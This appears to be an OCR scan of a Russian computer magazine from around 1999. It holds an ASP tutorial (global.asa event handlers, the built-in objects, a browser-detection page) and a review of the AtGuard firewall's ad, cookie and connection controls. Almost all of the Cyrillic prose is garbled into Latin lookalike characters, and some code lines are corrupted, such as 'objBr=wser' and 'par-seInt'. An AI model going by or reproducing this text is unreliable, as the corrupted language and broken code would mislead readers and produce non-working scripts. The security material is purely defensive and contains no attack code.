npoeuMpoBaTbC5i mma BaweM m a lli m h bi . To/ibKO, ec- 
ji m p,nn 3anycKa no yMO/inaHMio b HTML Mcno/ib3y- 
era cjoa m ji index.htm, b ASP sto 6yAeT 
default.asp. 

KpoMe Toro, b KopHeBOM KaTa/iore Bamero caMTa 
MO>KeT HaxoAMTbC5i cfiaM/i global.asa. 3to cfiaMji rjio- 
6a/ibHoro OKpy>KeHM5i Bamero npoeKTa. B HeM mo>k- 
ho 3aAaBaTb Heo6xoAMMbie AeMCTBMa, KOTopbie 
AO/DKHbl 6blTb BbinOJIHeHbl npM MHMI4Ma/lM3ai4MM MH- 
TepHeT-npM/io>KeHM5i, b Hana/ie hobom ceccMM, a 
T3 K>Ke npM 3aKpblTMM ceccMM M/IM npMJ10>KeHMfl. 
npM Heo6xoAMMOCTM cjoa m ji global.asa MO>KeT co- 
Aep>KaTb o6b5iB^eHM5i r/io6a/ibHbix nepeMeHHbix 
ypOBH5l npM/10>KeHMfl MJ1M ypOBHfl CeCCMM. XOTfl MX 
MO>KHO C03AaBaTb, 3aAaBaTb M M3MeH5ITb B Aa/lbHeM- 
meM c ApyrMx crpaHMU npoeKTa. 

Tenepb noroBopMM HeMHoro noApo6Hee o tom, 
hto noApa3yMeBaeTCfl noA TepMMHaMM «npM/io>Ke- 
HMe» m «ceccM5i». 



► Pmc. 1. MS Visual InterDev — ocHOBHoe cpeflCTBO pa 3 pa 6 oTKM a/ib ASP 


noma/iyM, HeT TaKOM 3a,qaHM nnn web-pa3pa6oTHMKa. 

KOTopyra He/ib3fl 6bmo 6bi peiuMTb npM noiviomM cpeflCTB ASP 
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NTERNET web-nporpaMMMpoBaHMe 


» ripM/io>KeHMe — 3 to OTfle^bHoe aflpecHoe 
npodpaHCTBO, co3flaBaeMoe cepBepoM p,nn pa6o- 
Tbi BawMx CTpaHnu. Oho m h m AMa/i M3MpyeTCfl npM 
nepBOM >ne o6paiMeHMM k /iio 6 om m 3 cipa h m 14 Ba- 
tuero npoeKTa m He 3aKpbiBaeTCfl flo Tex nop, no- 
Ka xota 6bi oflMH no/ib30BaTe/ib Haxoflmc^ Ha Ba- 
weM caMTe, to ecTb noKa OTKpbiTa xota 6bi oflHa 
CTpaHMua. 

CeccMfl co3flaeTC5i, Korfla HOBbm no/ib30BaTe/ib 
BxoflMT Ha Bam caiiT, m cymecTByeT ao Tex nop, 
noKa oh TaM HaxoAHTca. Ctomt npMHMMaTb bo 
BHMM aHkie, HTO n0/lb30BaTe/lb MO>KeT OTKpbITb 
CTpaHMAy m, 0CT3BMB ee OTKpbiTOM, npoAO/iwaTb 
pa6oTy b Apyrnx OKHax. Ha stot c/iynaM cyiAecT- 
ByeT BpeMeHHoe orpaHMHeHMe: ec/iM no/ib30Ba- 
Te/ib b TeneHMe 20 m m H yT (no yMO/inaHMio, 3Hane- 
Hl/ie MO>KeT 6blTb M3MeHeHO) He npOM3BOAMT 
HMKaKMx AeMCTBMM, to ecTb He o6paiAaeTCfl K 
ApyrMM CTpaHMAaM, He nepeAaeT KaKMx-/iM6o 3a- 
npocoB mam AanHbix, to ero ceccMfl 3aKpbiBaeTCfl. 
3 to 3H3HMT, hto Bee nepeMeHHbie OKpyweHMA, co- 
3AaHHbie p,nn ero ceccMM, yH MHTOwaiOTCfl, ocbo- 
6o>KAa^ naMATb. BpeMeHHoe orpaHMHeHMe oco- 
6eHHO Ba>KHO p,nn npoeKTOB c 6o/ibwoM 
noceiAaeMOCTbio. 

ripM pa3pa6oTKe ASP-npoeKTa b MS Visual 
InterDev (cm. pmc. 1) cjoaM/i global.asa co3Aaera 

aBTOMaTMHeCKM BMecTe c ApyrMMM cfiaM/iaMM m 
nanxaMM npoeKTa, ho 06 stom a paccKa>Ky nyTb 
no3>Ke. BHana/ie cfiaM/i b bi r/153 a mt Tax (KOMMeHTa- 
pMM nepeBe/i a — A. Jl.)\ 

<SCRIPT LANGUAGE=VBScript RUNAT=Server> 

B 3 tom (Jjavuie Bbi MO>KeTe yna3aTb cneijM- 
ajibHbie o6pa6oTHviKi4 ajih co6biTMvi, ko- 
Topbie 6yAyT 3anycKaTbCR aBTOMaTnuecKn 
npvi HacTynjieHvivi cooTBeTCTByiomero co- 
6bITMH. fljlH C03AaHVlH o6pa6oTHviKOB npo- 
cto C 03AaviTe noAnporpaMMy c viMeHeM M3 
cnvicKa BHvi3y, cooTBeTCTByiomnM co6bi- 
TVIK), RJ1A KOTOpOrO Bbi XOTVITe C03AaTb 
o6pa6oTHMK. HanpviMep, ajih o6pa6oTun- 
Ka Hanajia ceccvm BaM HaAO noMecTMTb 
cjieAyioiAviM koa b stom (Jjavuie (6e3 3Ha- 
KOB KOMMeHTapiTH): 

Sub Session_OnStart 
** Pa3MecTviTe 3Aecb cbovl koa ** 

End Sub 

vlmh o6pa6oTuviKa vi onvicaHvie 
*Session_OnStart* 

3anycKaeTCH, KorAa nojib30BaTejib b nep- 
Bbiu pa3 OTKpbiBaeT jno6yio CTpaHvmy Ba- 
mero npMjioweHMH 
*Session_OnEnd* 

3anycKaeTCH, KorAa ncTenaeT BpeMH owm- 
AaHviH ajih nojib30BaTe;iH vljivl KorAa oh 
noKviAaeT npvuio>KeHvie 
*Application_OnStart* 

3anycKaeTCH, KorAa nepBan CTpaHvma Ba- 
mero npnjioweHMH OTKpbiBaeTCR b nep- 


Bbiu pa3 KeM-jivi6o M3 nojib30BaTejievi 
*Application_OnEnd* 

3anycKaeTCR, nan TOJibKO cepBep 
npenpamaeT pa6oTy 
</SCRIPT> 

B o6iAeM m qe/iOM 3Aecb Bee ohcbmaho. Oaii n 
coctomt M 3 OAHoro CKpMnTa, Bbino/iHaeMoro Ha cep- 
Bepe, 0 neM roBopMT aTpn6yT RUNAT=Server. 

KcTaTM, b global.asa Jiynwe npMAepwMBaTbca 
VBScript. TaK, HanpMMep, n HecKO/ibKO pa3 MMe/i 
pa3Hbie Me/iKMe HeAopa3yMeHMA c JavaScript, xota 
npMHMHy MX AO KOHLja TaK M He CMOT nOHflTb, — 
npocTO oaho m to >Ke Ha VBScript pa6oTa/io, a Ha 
JavaScript — HeT. 

IJepeMeHHbie npM/ioweHMa m ceccMM mo>kho 3a- 
AaBaTb m M 3MeHATb c /no6bix CTpaHMA npM/ioweHMfl: 

<%@ language="VBScript" %> 

<html> 

<head> 

<title>ASP example</title> 

</head> 

<body> 

<% 

Application. Lock 
Application("Time") = Now 
Application. Unlock 
%> 

</body> 

</html> 

m b cfiaM/ie global.asa 

<SCRIPT LANGUAGE=VBScript RUNAT=Server> 

Sub Session_OnStart 

Session("Time") = Now 

End Sub 

</SCRIPT> 

MeTOAbi Lock m Unlock o6beKTa Application 
Tpe6yiOTC^ b ashhom c/iynae p,nn toto, HTo6bi He 
npOMCXOAM^O KOH^MKTOB Me>KAy pa3/lMHHblMM 
ceccM^MM, BeAb nepeMeHHbie npM/ioweHMA MoryT 
Mcno/ib30BaTbCfl cpa3y HecKO/ibKMMM no^b30BaTe- 
JlflMM. 

Script — 3to ocHoea ASP 

B o6iAeM, ASP Ha caMOM 6aHa/ibHOM ypoBHe — 
3 to reHepauMA omchtckom CTpaH m an Ha cepBe- 
pe npM noMOiAM JavaScript v\nv\ VBScript. Ho hm 
tot, hm Apyroii 5i3biK He no3B0^5ieT o6paiAaTbC5i k 
6a3e ASHHbix m pa6oTaeT c cfiaM/iOBOM cmctcmom. 
TaK KaK >Ke Bbino^H^uoTC^ noAo6Hbie 3aAaHM b 
ASP? C noMOiAbio o6beKTOB m KOMnoHeHTOB. no 
6o^bmoMy cneTy, b ASP Bee Ae/iaeTC5i c mx noMO- 
lAbio. 

I/I o6beKTbl, M KOMnOHeHTbl — 3TO AMHaMMHeC- 
KMe 6 m 6 ^mot 6KM. A pa3HMAa Me>KAy hmmm b tom. 


hto o6beKTbi npMcyTCTByiOT b cueHapMM ASP nocTO- 
H HO M MX MO>KHO Bbl3BaTb B ^K)60M MOMeHT, a KOM- 
nOHeHTbl Hy>KHO C03AaBaTb BHyTpM cueHapM^i ^ib- 
HblM o6pa30M. 

06beKTOB b ASP Bcero h Mnero: Application, 
Session, Response m Request, a T3K>Ke eiAe 
m Server. PaccMOTpMM Ka>KAbiM M3 hmx b OTAe/ib- 
HOCTM. 

Application 

06beKT Application othocmtc^i ko BceMy m HTep- 
HeT-npM/io>KeHMio. Ero ocHOBHa^ 3aAana, KaK 6bi- 
^0 noKa3aHO b npMMepe npeAbiAyiAeM maBbi, — 

3 to AOCTyn k nepeMeHHbiM ypoBH^i npM^o>KeHM5i. 

I/I MeTOAOB y Hero Bcero Aaa: Lock m Unlock, 0 hmx 
a TO>Ke y>Ke HeMHoro roBopMT. 

Session 

06beKT Session, ecTecTBeHHo, o6o3HanaeT cec- 
CMio, 3anyiAeHHyio b xoAe Bbino/iHeHMii npM^o>Ke- 
HM5I. CeccMM, KOHeHHO, MO>KeT 6blTb MHOTO. HT06bl 
mx pa3^MHaTb, y hmx ecTb cbomctbo SessionID. 
06beKT Session npeAOCTaB/iaeT AOCTyn k nepe- 
MeHHbiM ceccMM, a cbomctbo Timeout ycTaHaB/iM- 
BaeT BpeM^i, nepe3 KOTopoe ceccMM npeKpaiAaeT- 
cn 3a HeHaAo6HOCTbio (Te caMbie 20 mm HyT). EiAe 
oamh nacTO ynoTpe6^5ieMbiM mctoa — 3to 
Abandon, npM ero Bbi30Be ceccMM HeMeA-neHHO 
npeKpaiAaeTCfl. 

Response h Request 

A bot npo 3Ty napoHKy b Aayx c^OBax y>Ke He pac- 
CKa>Kemb. Response m Request — sto Me^Ka^i pa3- 
MeHHaii MOHeTa b ASP, 6e3 kotopom HMKyqa He Ae- 
Hembc^i. 

Response hcm-to HanoMMHaeT write M3 Java- 
Script. OH T3K>Ke C/iy>KMT A^l^ BbIBOAa MHCjDOpMa- 
14 MM, ho bo 3 mo>khoctm y Hero 6o^bme, TaK KaK Bbi- 
BOAMT AaHHbie OH He TOJibKO Ha 3KpaH MOHMTOpa. 

B ero o6fl33 HHOCTM bxoamt T 3K>Ke m OTCbmKa coo- 
kies Ha MamMHy no/ib30BaTe/m, a eiAe oh ynpaB^^i- 
eT 6ycjDepoM BbiBOAa, ocTaHaB/iMBaeT o6pa6oTKy 
ASP-cqeHapMfl, a T3K>Ke BeAeT /iotm Ha cepBepe. 

Ho caMbm ochobhom MeTOA — 3 to, KOHeHHO, Res- 
ponse. write, npM noMOiAM KOToporo m ocyiAecTB- 
JI53eTC51 Becb Bbi BOA- npMHeM BMeCTO nO^HOM CjDOp- 
Mbi 3anMCM 

<% Response.Write(yourVariable) %> 

nacTO yAo6Hee Mcno^b30BaTb coKpaiAeHHyio 
cjDopMy: 

<%= yourVariable %> 

Request — sto tot we c/ioh, TO^bKO c Apyroii 
CTopoHbi. Oh, KaK bmaho m 3 Ha3B3H Mil, 3anpamM- 
BaeT MH(|)OpMaAMIO M C^yWMT, COOTBeTCTBeHHO, 
p,nn bboas. C ero noMOiAbio mowho no^ynaTb co- 
okies, 3HaneHMfl no^eii cfiopM, nepeAaHHbix cep- 
Bepy, 3HaneHMii nepeMeHHbix, nepeAaHHbix BMec- » 
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» Te co ctpokom 3anpoca, 3HaHeHMB nepeMeHHbix 
cepBepHoro oxpyweH mb. 

Server 

06bexT Server b nepByio onepeflb c/iywMT p,nn 
C03flaHMfl, TO eCTb flBHOTO 06bflBJieHMfl, 06^6X106 
b ASP-cueHapnn. fl/ia 3Toro y Hero ecTb MeTOfl 
CreateObject. KpoMe Torn, oh MO>KeT eme Bbino/i- 
H^Tb m HecKO/i bxo onepauMM no nepexoflMpoBa- 
HMK) CTpOK. 

KoMnoHeHTbi 

KoMnoHeHTbi co3flax)TCfl c noMombK) o6bexTa Ser- 
ver. B ASP ohm c/iy>KaT b nepByio onepeflb pj\n ja- 
kmx ue/ieM, xax flociyn k 6a3aM flaHHbix, k cfiaMjio- 
bom cMdeMe, a Taxwe pj\s\ pa6oibi c noHTOM. 

ASP Ha cjiy>t<6e y pa3pa6oTHMKa 

HaHMHaa pa6oTaib c ASP, He ctomt cpa3y xBaTaTbca 
3a hto-to r/io6a/ibHoe, jiyHwe onpo6oBaTb OTfle/ib- 
Hbie bo3mo>khoctm. HanpMMep, peiueHMe npo6/ieMbi 
HecoBMecTMMOdM 6poy3epoB. ComaceH, mo>kho 
peiuaTb ee m npn noMOiMM x/iMeHTCXMx cxpMnTOB, 
ho Torfla, BO-nepBbix, npMxoflMTCB nocbi/iaTb x/iMeH- 
Ty yflBoeHHyio nopuMio KOfla (ajib o6omx 6poy3e- 
Pob), a BO-BTopbix, eme He M3BecTH0, pa6oTaeT/iM 
noflflep>KKa cxpMnTOB y x/iMeHTa. B KOfle we ASP 
mowho BbiiicHMTb, xaxoM y x/iMeHTa 6poy3ep, M c/ie- 
nMTb Heo6xoflMMyio eMy cipaHMHKy 6e30 bcaxoto 
M ycopa. 

Miax, npoexT y Bac ywe co3flaH m OTKpbua hmc- 
jaft dpaHMua ASP-cJiaM/ia (ec/iM HeT, to CAe/iaMTe 
3 to m/im b Visual InterDev, m/im b jiio6om Texcro- 
bom peflaKTope, nycTb sto He Tax yflo6Ho, ho 60/ib- 
luom 6eflbi He 6yfleT). Eme pa3 HanoMMHax), hto 
nanxa npoexTa AO/i>XHa HaxoAMTbca b xaTa/iore 
...\wwwroot. ripM ycTa hob/ichhom IIS m/im PWS oh 
o6fl3aH npMcyTCTBOBaTb y Bac Ha flMcxe. 

CTpaHMua ASP Bcerfla HaHMHaeTCB cyxa3aHMB, 

Ha xaxoM 5i3bixe cueHapMB HanMcaH ee xofl. flpn 


3tom nacTb BaiuMx CTpaHMLj MoweT 6biTb HanucaHa 
Ha VBScript, a nacTb Ha JavaScript. B o6meM, B Ha- 
na/ie cfiaM/ia nuiueM: 

<%@ Language=JavaScript %> 

l"lo/ib30BaTbCfl ft 6yfly JavaScript, ec/iM y xoro-TO 
B03HMXHeT we/iaHMe, to aflanTMpoBaTb Bee sto nofl 
VBScript He cocraBMT 6o/ibworo Tpyfla. EnaBHoe — 
npMHLjMn. 

3aTeM nniueM c/ieAyx/LAMM c^pameHT xofla: 

<% 

var obj Browser = 

Server.CreateObject("MSWC.BrowserType"); 
var isBrowserOK = (objBrowser.browser == "IE" 
&& par-seInt(objBr=wser. Version) >= 4) ? true 
: false; 

%> 

3flecb co3flaeTC5i 06-bexT objBrowser, coflepwa- 
lamm MHcfiopMauMX) o 6poy3epe x/iMeHTa, 3anpocMB- 
mero flaHHyx) crpaHMuy. llepeMeHHafl isBrowserOK 
coflepwMT^orMHecxoe 3HaneHMe, noxa3biBax)mee, 
BB/i/ieTCfl n m 6poy3ep x/iMeHTa Internet Explorer neT- 
BepTOM BepcMM m/im Bbiiue. Boo6me-TO f\nft npocToro 
npMMepa mowho 6bi/io onpefle/iflTb mnbxo jm 6po- 
y3epa, BepcMio ft npunMca/i npocTO p,nft nopflflxa. Ha 
npaxTMxe onpeAe/ieHMe MoweT 6biTb flocTaTOHHo 
pa3BepHyTblM. M COOTBeTCTBeHHO, MO>XeT6blTb He- 
CXO/lbXO BeTBeM cf)OpMMpOBaHMi1 CTpaHMUbl. 

fla/ibwe nuiueM o6biHHbm HTML-3aro/iOBOX 
m Bee noc^eflyximne Heo6xoflMMbie tstm: 

<html> 

<head> 

<title>OnpeflejieHvie Tuna 6poy3epa</title> 
</head> 

<body> 

<hl> Onpeflenemie Tuna 6poy3epa </hl> 


<! — flajibine BCTaB/meM (JjparMeHT 
ASP-cxpvinTa, BbiBOflRinero Ty vuivi vrnyx) 

CTpoxy — > 

<% if (isBrowserOK) { %> 

<p>y Bac Internet Explorer Bepaw. 4 
vi/ivi Bbime</p> 

<% } else { %> 

<p>y Bac He Internet Explorer Bepcvivi m/im 
B bime, a xaxovi-TO flpyron</p> 

<% } %> 

<! — Xoth 3tot (JjparMeHT mowho 6buio pea/m- 
30BaTb vi b OflHy CTpoxy: — > 

<!— <p>y Bac <%= ((isBrowserOK) ? "" : "He ") 
%>Internet Explorer Bepcvivi 4 vum — > 

<! — Bbime<%= ((isBrowserOK) ? "" : 

", a xaxovi-TO APyroM") %></p> — > 

<! — Hy, vi 3axpbiBaeM Tern CTpaHvmbi — > 
</body> 

</html> 

Bee, npocTeHbxaB crpaHMHxa roTOBa. Mowho ee 
onpo6oBaTb (cm. puc. 2 m 3), mnbxo 3anycxaTb ee 
flBOMHbiM me/iHXOM M/iM OTxpbiBaB b 6poy3epe 6ec- 
no/ie3Ho. B CTpoxe Location Ha6v\pav\je c/ieflyximee: 

«your_machine_name/your_project_name/ 

your_page.asp». 

IIobchbx): your_machine_name — mmb BaweM 
ManiMHbi b ceTM, b MoeM c/iynae sto andrew; 
your_project_name — mmb xaTa/iora Bamero npo- 
exTa; Hy m your_page.asp — mmb caMoro (frama , a 
ec/iM oh y Bac Ha3B3H default.asp, to mmb Ha6MpaTb 
He o6B3aTe^bHo. M Tenepb, ec/iM y Bac ctomt IIS 
M/IM PWS, TO Bbl yBMflMTe pe3y/lbTaT BbinO/lHeHMB 
cxpMnTOB Ha cepBepe. 

A o flpyrMx no^e3Hbix bo3mo>xhoctbx ASP Mbi 
noroBopMM b c^eflyximeM HOMepe. >Ke^ax)yflaHM b 
B aiiJMx axcnepMMeHTax! 

■ ■ ■ AHflpeil Jlemyx 
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e moved hi 


riemovei 

Remove* 


orHeHHan nperpafla 


B Hawe HecnoKOMHoe BpeMfl, Korfla Mbi nocroflHHO c/ibiwMM b hoboctax 06 aTaxax xaxepoB Ha pa3/iMHHbie 
opraHM3apMM m ycneiuHOM noxnmeHHM m/im npocio nopne MHc|DopMauMM, m a/iji koto He 6yAeT/imuHMM 
no3a6oTmbCB o 6e3onacHocTM CBoePi pa6oneM craHpm/i, a BMeae deM m o CBoeM 3flopoBbe. 


K a3a/iocb 6bi, 3aneM 3/1 oyMbiLUjieHHMKaM nofl- 
K/uonaTbCfl k BaiueMy KOMnbiOTepy m nopTMTb 
KaKMe-TO Ma/iOBa>KHbie flOKyMeHTbi, Beflb ohm HMHe- 
ro He croflT. Ho fle/io b tom, hto name Bcero flOKy- 
MeHTbi KOMnbiOTepHbiM xy/iMraHaM He Hy>KHbi, fla m 
KOM nbioiep Baiu TO>Ke He HyweH. Ohm npocio Haxo- 
A^T nepByio nonaBiuyiocfl He3aiflMifleHHyio pa6onyio 
CT3HI4MK) b CeTM m fle/iaiOT CBoe nepHoe fle/io. 

CyiMecTByeT MHO>KecTBO CMTyaflMM, Korfla PC 
yii3BMM, HanpMMep xaKep zierKO MO>KeT yKpacTb 
/iotm h m napo/ib p,nn flociyna b 1/lHTepHeT, npM- 
c/iaB BaM no noHTe «tpoahckmm» BMpyc. Mjim, Kor- 
fla Bbi b naie MMpHO 6eceflyeie c flpy3bflMM, npo- 
cto ot Henero fle/iaTb «HioKHyTb» Bac: Ha 3KpaHe 
nOflBMTCfl COo6lfleHMe 0 KpMTMHeCKOM OlUM6Ke, M 
xopowo, ec/iM noc/ie nepe3arpy3KM KOMnbiOTepa 
Bee BdaHeT Ha cbom Mecra. riepeHMc/iflTb noflo6- 
Hbie npo6/ieMbi mo>kho 6ecK0HeHH0. flyMaio, Bbi 
co mhom comacMTecb, hto BbiwenepeHMc/ieHHbix 
yflOBO/l bCTBM M OT >KM3HM HMKTO He MlfleT. A 0 TOM, 


KaK M36aBMTbCfl OT BCeM 3TOM HanaCTM, ft M XOHy 
paccKa3aTb. 

Hto TaKoe FireWall 11 3aneivi OHa Hyrnwa? 

FireWaLL nepeBOflMTca KaK «orHeHHafl CTeHa», b 
flaHHOM c/iynae sto nporpaMMa, KOTopaa c/ieflMT 3a 
6e3onacHocTbio pa6oHero MecTa. 

Ka>Kfloe npM/io>KeHMe, pa6oTaa c CeTbio, OTKpbi- 
BaeT KaKOM-/iM6o nopT Ha MaiuMHe, HanpMMep 6po- 
y3epbi pa6oTaiOT no 80-My nopTy, noHTa yxoflMT no 
25-My, a npMxoflMT no 110-My. Bee naKeTbi flaHHbix 
b KOHeHHOM MTore nonaflaiOT b onpefle/ieHHbm 
nopT. FireWall OTC/iewMBaeT /no6bie coeflMHeHMA c 
nopTaMM m, cooTBeTCTBeHHo, He flaeT naKeTy 
«iUBapTOBaTbC5i», ec/iM oh HeceT KaKyK)-/iM6o onac- 
Hyio MHcjjopMaflM to mjim npMiue/i c nofl03pMTe/ibHoro 
aflpeca b CeTM. 

TaK KaK FireWaLL-nporpaMM flocTaTOHHO MHoro, 
to ft B3ftn Rnft paccMOTpeHM^ TpM npoflyKTa, OHM flO- 
BO/ibHO nony/iflpHbi m npocTbi b HacTpoMKe. riepBbiM 


M3 HMX Mbl paCCMOTpMM flOCTaTOHHO nOflpo6HO, HTO- 
6bi Ha ero npMMepe noHATb npMHflMnbi nporpaMM- 
Horo o6ecneneHMfl 6e3onacHOCTM b CeTM. 

AtGuard 

C noMOiflbio AtGuard mo>kho M 36MpaTe/ibHO 6 /iokm- 
poBaTb noKa3 peK/iaMHbix 6aHHepoB m rpacfiMKM m 
T eM caMbiM ycKopMTb 3arpy3Ky crpaHMfl b HecKO/ib- 
ko pa3. Bbi CMO>KeTe 3anpeTMTb caMTaM no/iynaTb 
MHcjDopMaflMio o TMne Baiuero 6poy3epa m onepaflM- 
ohhom CMCTeMbi, 3aiflMTMTb PC ot BackOrifice m no- 
Ao6Hbix nporpaMM, ynpaB/iATb flocTynoM k CBoeM » 


AtGuard 


Pa3pa6oTHMK ► Copyright © 1998, 1999 WRQ, Inc. 
Pa3Mep apxMBa 1,5 M6aMT 
MecTO Ha flMCKe, 

Heo6xoflmvioe fl/ia MHCTa/uiflUMM ► 2,2 M6aMT 
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» pa6oHeu craHflMM, to ecTb KOHTpo/iMpoBaTb, c k3kmx 
IP-aflpecoB u b KaKOM nepnofl BpeMeHM mo>kho no- 
ziyHMTb flOdyn k BaiueMy PC. 

Ha naHe/iM AtGuard ycTaHaB/WBaiOTCM aKTMB- 
HOdb nporpaMMbi, 6/iOKMpoBaHMe CKpnnTOB n 
Cookies, a Taione BK/nonaeTCM caM FireWall. 3flecb 
>Ke noKa3biBaeTCM cieneHb 3arpy>KeHHOCTM ceTM m 
KO/lMHeCTBO OTKpbITbIX CeCCMM. 3a 3H3HKOM 3eMHOTO 
rnapa CKpbmaeTCM craTUCTUKa coeflMHeHMM c web- 
pecypcaMM b 1/lHTepHeie. fla/iee MfleT CTaTMCTMKa 
OT/iOB/ieHHbix m 3anpeiMeHHbix k 3anycKy CKpumoB, 
Cookies m, b caMOM Kornje, nofl03pMTe/ibHbix naKe- 
tob, KOTopbie o6Hapy>KMjia FireWall. 

Settings 

Tenepb nepeMfleM k HacrpoMKe. AdBLocker — sto 
ycraHOBKa, KOTopaM no3BO/iMeT 6/ioKMpoBaTb onpe- 
Ae/ieHHbie aflpeca m TeM caMbiM npeflOTBpatflaTb 3a- 
rpy3Ky m noKa3 Hewe/iaie/ibHbix M3o6pa>KeHMM Ha 
web-dpaHMuax (HanpMMep, peK/iaMbi), a TaK>Ke mc- 
K/iiOHMTb nojiyneHMe KaKOM-/iM6o MHcfiopMauMM c 
H MX (pi/1C. 1). 

Ec/im 6/iOKMpoBaHMe ycraHOB/ieHO, to Bee HTML- 
CTpaHMUbi 6yflyT npoBepeHbi Ha npeflMeT coflepwa- 
hmm URL-aflpecoB, 3aHeceHHbix b «nepHbiM cnMCOK» 
(URL Blocking list). Ha KopewKe Privacy nyHKT 
Block refer fields no3BO/iMeT onpefle/iMTb, flocTynHa 
/1M «TpeTbMM MMflaM» MHCj)OpMaflMM O TOM, OTKyfla Bbl 
npmu/iM Ha mx caMT. 3 to no/ie3HO, HanpMMep, Korfla 
OH/iaMHOBbie noHTOBbie c/iy>K6bi noflcraBMMiOT na- 
poMb npMMO b ceTeBOM nyTb, KOTopbm OTo6pa>KaeT- 
cm b 6poy3epe. Mo>kho, kohchho, paccHMTbmaTb Ha 
nop^flOHHOCTb BMafleMbfla pecypca, ho noflcrpaxo- 
BaTbCfl He noMeiuaeT. OflHaKO CMeflyeT ynecrb, hto 
H eKOTopbie caMTbi Boo6tfle He no3BOMMiOT 3axoflMTb 
Ha hmx c BK/noneHHbiM Block refer fields, TaK hto 
H aflo BHi/iMaTe/ibHo o6patflaTbCM c stom ycraHOBKOM. 

YcTaHOBKa Enable Cookie Rules onpefle/ifleT, co- 
6^K)flaeT mm AtGuard npeflnncaHHbie npaBMMa amm 
npMeMa/3anpeTa Cookies. Mo>kho 6MOKMpoBaTb 
Cookies TOMbKO c onpefle/ieHHbix caPiTOB (HacrpoMKa 
ocymecTBMMeTCM b MHTepaKTMBHOM pe>KMMe), 3anpe- 
tflaTb Bee noflpflfl mmm >Ke pa3peiuaTb Bee noflpMfl. 

YcTaHOBKM Ha 3aK^aflKe FireWall on pefleMMiOT, 
AOMweH mm AtGuard pa3pewaTb/3anpemaTb 3aflaH- 
Hbie TMnbi ceTeBbix coeflMHeHMM TCP/IP (pmc. 2). 

3flecb OTo6pa>KeH cnMcoK npaBMM, KOTopbie 
onMCbiBaiOT pa3peiueHHbie TMnbi ceTeBbix coeflMHe- 
HMM m KaKMe nporpaMMbi MoryT 3tm coeflMHeHMM 
ocyiflecTBMMTb: HanpMMep, ec/iM y Bac hto-mm6o ne- 
pecraMO pa6oTaTb nocMe ycTaHOBKM AtGuard, to, 
CKopee Bcero, sto cbm33ho c ycraHOBKaMM Ha stom 
3aKMaflKe. 

YcTaHOBKM Ha KopeiuKe General no3BOMMiOT npe- 
flOTBpaTMTb HecaHKflMOHMpOBaHHbie M3MeHeHMM yc- 
TaHOBOK AtGuard m 3anpeTMTb flOCTyn k wypHa/iy 
perMCTpaflMM co6biTMM AtGuard. Ecmm ctomt ra/ion- 
Ka Enable Password Protection, to no/ib30BaTe/ib 
AOMweH 6yfleT bbcctm napoMb, HTo6bi OTKpbiTb flna- 
jioroBoe okho Settings, okho ct 3 tmctmkm AtGuard m 
>K ypHa/i perMCTpaflMM co6biTMM AtGuard. 


1^0 @Guard Settings 


Ad Blocker Privacy j Firewa 


Make all animated image 
I - EJiminate script-based po 


W Enable Ad Blocker 

- URL Blocking List 


a Pmc. 1. YcTaHOBKa AdBlocker 


Event Log 

AtGuard coflep>KMT >KypHa/i perncTpaunn co6biTMM, 
rfle 3anMCbiBaiOTCM co6biTMM flOCTyna k CeTM, bkmio- 
naM coeflMHeHMM, aflpeca noceifleHHbix canTO b, y6n- 
Tbie BcnMbmaioiflMe okoujkm, 6aHHepbi, refer mmm 
Cookies. Ohm OTo6pa>KaiOTCM b oKHe wypHaMa: Ha- 
npMMep, 3aK/iaflKa Ad Blocking coflep>KMT mhc|dop- 
MaflMio o 3a6MOKMpoBaHHbix 6aHHepax. 

B wypHa/ie coxpaHMeTCM m yflaMeHHbin HTML-koa. 
KopemoK Connection coflep>KMT MH^opMauMio 060 
Bcex TCP/IP-COeflMHeHMMX, KOTopbie npOM3BOflMMMCb 
c 3tmm KOMnbHDTepoM. 3aKMaflKa FireWall coflep>KMT 
MHCjDOpMaflMIO 0 CeTeBbIX COeflMHeHMMX, npepBaHHblX 
/in6o pa3pemeHHbix FireWall m npMHMHax, ec/in co- 
eflMHeHMM 6bmM OTBeprHyTbi. TyT OTo6pa>KaeTCM co- 
CTOMHMe RuleAssistant (MHTepaKTMBHbin pe>KMM Ha- 
ctpomkm FireWall) n noKa3biBaiOTCM coo6ifleHMM, ko- 
Topbie RuleAssistant BbiflaBa/i noMb30BaTeMio. 

Ha BKMaflKe Privacy noKa3biBaeTCM MHcjDopMaflMM 
o Cookies, KOTopbie 6bmn pa3pemeHbi mm6o 3a6MO- 
KupoBaHbi AtGuard'oM. 


l^g @Guard Settings 


AdBlocker] Privacy Firewa 


17 

Enable firewall 
Enable RuleAssistant (int 

Firewall Rule 


W Inbound TCP loopback 
W Outbound TCP loopbach 

1 7 I - 1 1 1 IT |— ■ |— 1 1 


a Pmc. 2. YcTaHOBKa FireWall 


Ad Trashcan 

«MycopHbm 6aK» AtGuard Hy>KeH amm toto, HTo6bi 
MerKO M36aBMMTbCM OT M3o6pa>KeHMM, BMfleTb KOTo- 
pbie BaM 6oMbme He xoneTCM (KaK npaBM/io, sto 
6aHHepbi pa3MMHHbix peoaMHbix ceTeu). 

Bbi6epMTe pncyHOK m MbiuiKOM nepeTaiflMTe 
ero b Trashcan. AHaMorMHHbiM cnoco6oM mo>kho 
M36aBMTbCM M OT CHeTHMKOB, npaBfla Ha npaKTMKe 
AtGuard nacTO flaeT He6o/ibiuoM c6om. Ecmm fleM- 
CTBOBaTb no onncaHHOM Bbime cxeMe, 6MOKMpy- 
iotcm Bbi6paHHbie 6aHHepbi TOMbKO Ha TeKyifleM 
caMTe. HTo6bi ohm 6MOKMpoBaMMCb Ha Bcex caM- 
Tax, npMxoflMTCM KonMpoBaTb b Clipboard TOMbKO 
nacTM nyTeM (HanpMMep, npocTO CTpoHKy 
banners.rambler.ru), Torfla b MycopHbm 6aK no- 
naflyT 6aHHepbi stom ceTM Ha Bcex caMTax, rfle 
ohm noKa3biBaMMCb (Really block this string for 
All Sites? KoHeHHo, «Yes»!). CaM caMT 
banners.rambler.ru npM stom OKa>KeTCM no/iHO- 
CTblO 3a6MOKMpOBaHHblM. 



a Pmc. 3. Ad Blocking — CTaTMCTMKa 3a6/ioKMpoBaHHbix OaHHepoB 
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NTERNET 6e3onacHOCTb 


» Statistics 

3to cepBMC nporpaMMbi, KOTopbiM ocyiflecTB/meT 
MOHMTopMHr TeKyiMero coctoahma cncreMbi AtGuard 
b pea/ibHOM BpeMeHM. CneTHMKM OTo6pawaiOT noKa- 
3aTe/in 3a TeKymnn ceaHc pa6oibi b CeTM. Hio6bi 
